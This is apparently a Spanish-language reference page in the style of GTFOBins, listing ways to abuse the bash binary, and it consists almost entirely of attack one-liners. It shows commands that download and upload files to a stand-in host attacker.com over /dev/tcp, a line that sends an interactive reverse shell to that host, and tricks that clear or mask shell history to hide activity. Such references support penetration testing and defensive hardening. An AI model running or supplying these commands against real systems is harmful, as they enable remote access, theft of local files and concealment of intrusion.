./bash --examples
Funciones y ejemplos de uso
download
bash -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
3<>/dev/tcp/attacker.com/12345 \
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'
bash -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'
file-read
bash -c 'echo "$(</path/to/input-file)"'
HISTTIMEFORMAT=$'\r\e[K'
history -c
history -r /path/to/input-file
history
file-write
bash -c 'echo DATA >/path/to/output-file'
HISTIGNORE='history *'
history -c
DATA
history -w /path/to/output-file
library-load
bash -c 'enable -f /path/to/lib.so x'
reverse-shell
bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1'
shell
bash
upload
bash -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'
bash -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'
./related --binary=bash
Binarios relacionados
Comparten al menos una función con bash.